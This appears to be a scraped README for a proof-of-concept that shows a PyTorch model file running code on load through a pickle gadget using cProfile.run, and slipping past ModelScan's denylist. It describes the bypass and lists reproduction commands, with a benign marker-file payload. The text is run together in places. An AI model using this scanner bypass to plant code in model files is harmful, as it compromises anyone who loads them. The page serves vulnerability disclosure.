Views
No views yet
.pt via cProfile.run gadgetmodel.pt runs code on torch.load(..., weights_only=False) while ModelScan reports it clean.
The malicious __reduce__ uses cProfile.run — a code-executing stdlib callable that is
not on ModelScan's PickleUnsafeOpScan denylist — and hides the command in a string
argument the scanner never inspects.model.pt — the PoC model file (benign payload: writes pytorch_poc_executed.txt)exploit.py — builds the model, scans it with ModelScan, loads it, prints the resultREADME.md — this file1pip install torch modelscan
2# 1) scanner says it is safe:
3modelscan -p model.pt # -> No issues found! 🎉
4# 2) loading with weights_only=False executes code:
5python -c "import torch; torch.load('model.pt', weights_only=False)"
6ls pytorch_poc_executed.txt # marker proves code ran on load
7# or run everything at once:
8python exploit.py # -> No issues found (BYPASS) + CODE EXECUTEDtorch.load(weights_only=False) — common in legacy code and when
loading checkpoints. Modern PyTorch (2.6+) defaults to weights_only=True (safe), but many
production systems haven't upgraded or explicitly use weights_only=False.exploit.py to confirm
real command execution.